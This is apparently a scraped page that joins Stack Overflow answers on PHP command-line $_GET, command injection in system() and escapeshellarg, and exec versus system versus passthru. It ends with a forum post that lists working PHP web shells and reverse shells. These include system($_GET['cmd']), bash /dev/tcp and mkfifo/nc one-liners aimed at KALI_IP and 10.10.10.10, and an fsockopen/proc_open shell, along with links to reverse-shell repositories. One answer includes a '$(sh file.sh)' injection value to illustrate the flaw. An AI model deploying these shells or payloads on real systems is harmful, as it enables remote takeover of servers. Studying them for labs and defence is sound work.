From this answer on Server Fault:
Use the php-cgi binary instead of just php, and pass the arguments on the command line, like this:
php-cgi -f index.php left=1058 right=1067 class=A language=English
Which puts this in $_GET:
Array
(
[left] => 1058
[right] => 1067
[class] => A
[language] => English
)
You can also set environment variables that would be set by the web server, like this:
REQUEST_URI='/index.php' SCRIPT_NAME='/index.php' php-cgi -f index.php left=1058 right=1067 class=A language=English
Answer from qris on Stack OverflowPHP passing $_GET in the Linux command prompt - Stack Overflow
php - Using $_GET in system() function - security question - Stack Overflow
command - PHP exec() vs system() vs passthru() - Stack Overflow
reverse shell php
How do malicious hackers use web shells?
How can I detect web shells?
What is a web shell?
Videos
From this answer on Server Fault:
Use the php-cgi binary instead of just php, and pass the arguments on the command line, like this:
php-cgi -f index.php left=1058 right=1067 class=A language=English
Which puts this in $_GET:
Array
(
[left] => 1058
[right] => 1067
[class] => A
[language] => English
)
You can also set environment variables that would be set by the web server, like this:
REQUEST_URI='/index.php' SCRIPT_NAME='/index.php' php-cgi -f index.php left=1058 right=1067 class=A language=English
Typically, for passing arguments to a command line script, you will use either the argv global variable or getopt:
// Bash command:
// php -e myscript.php hello
echo $argv[1]; // Prints "hello"
// Bash command:
// php -e myscript.php -f=world
$opts = getopt('f:');
echo $opts['f']; // Prints "world"
$_GET refers to the HTTP GET method parameters, which are unavailable on the command line, since they require a web server to populate.
If you really want to populate $_GET anyway, you can do this:
// Bash command:
// export QUERY_STRING="var=value&arg=value" ; php -e myscript.php
parse_str($_SERVER['QUERY_STRING'], $_GET);
print_r($_GET);
/* Outputs:
Array(
[var] => value
[arg] => value
)
*/
You can also execute a given script, populate $_GET from the command line, without having to modify said script:
export QUERY_STRING="var=value&arg=value" ; \
php -e -r 'parse_str($_SERVER["QUERY_STRING"], $_GET); include "index.php";'
Note that you can do the same with $_POST and $_COOKIE as well.
It's not secure. You can still pass some arguments that will be malicious, i.e. execute other files in system.
$var = '$(sh file.sh)';
$str = addslashes($var);
$cmd = 'sometool "'.$str.'"';
system($cmd);
You should use escapeshellarg method for escaping shell arguments.
$str = escapeshellarg($_GET['str']);
$cmd = 'sometool ' . $str;
system($cmd);
Note that you have to use the argument $str as it is and that it will be a single argument. You must not surround it with quotes ' or double quotes "
Definitively not secure as is,
Like any user's input, you'll have to not only escape quotes, but also verify the conformity of the data being submitted and have to be strict on that.
For e.g.: if the "sometool" command is waiting for a path, you've to ensure that the user input is a valid path. If the path has to be in a restricted location, you've to check that restriction.
Assuming that your "str" has to be a valid string, you can begin with the filter input function.
https://www.php.net/manual/en/function.filter-input.php
Make sure to use the appropriate filters (for quotes, encoding, etc.) : https://www.php.net/manual/en/filter.filters.php.
It will not be possible to by-pass the escaping here.
This somehow ensure the conformity of the data, but still, you've to be sure that the command "sometool" itself will not be affected by any valid string characters or syntax, that's what makes it still unsecure to use.
They have slightly different purposes.
exec()is for calling a system command, and perhaps dealing with the output yourself.system()is for executing a system command and immediately displaying the output - presumably text.passthru()is for executing a system command which you wish the raw return from - presumably something binary.
Regardless, I suggest you not use any of them. They all produce highly unportable code.
The previous answers seem all to be a little confusing or incomplete, so here is a table of the differences...
+----------------+-----------------+----------------+----------------+
| Command | Displays Output | Can Get Output | Gets Exit Code |
+----------------+-----------------+----------------+----------------+
| system() | Yes (as text) | Last line only | Yes |
| passthru() | Yes (raw) | No | Yes |
| exec() | No | Yes (array) | Yes |
| shell_exec() | No | Yes (string) | No |
| backticks (``) | No | Yes (string) | No |
+----------------+-----------------+----------------+----------------+
- "Displays Output" means it streams the output to the browser (or command line output if running from a command line).
- "Can Get Output" means you can get the output of the command and assign it to a PHP variable.
- The "exit code" is a special value returned by the command (also called the "return status"). Zero usually means it was successful, other values are usually error codes.
Other misc things to be aware of:
- The shell_exec() and the backticks operator do the same thing.
- There are also proc_open() and popen() which allow you to interactively read/write streams with an executing command.
- Add "2>&1" to the command string if you also want to capture/display error messages.
- Use escapeshellcmd() to escape command arguments that may contain problem characters.
- If passing an $output variable to exec() to store the output, if $output isn't empty, it will append the new output to it. So you may need to unset($output) first.
Hi everyone,
I'm wondering about a subject.
Sometimes i have to upload a reverse-shell php. I know somes techniques :
1- Push a <?php system($_GET["cmd"]); ?> and then use whoami . It works, but bash -i >& /dev/tcp/KALI_IP/4444 0>&1 or rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f encoded in URL doesn't. I don't understand why
2- I also found <?php php -r '$sock=fsockopen("KALI_IP",4444);exec ("/bin/sh -i <&3 >&3 2>&3");' ?> but i can't say when to use it
3- and the classic https://github.com/Wh1ter0sEo4/reverse_shell_php/blob/main/reverse_shell.php
Someone can help me to understand, when to use each one ?
EDIT :
1- It works (URL encoded) with /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' and the other one works without changement
2- <?php $sock = fsockopen("KALI_IP", 4444); proc_open('/bin/bash -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes>
I also found an amazing tool : https://github.com/WhiteWinterWolf/wwwolf-php-webshell . I will keep it carefully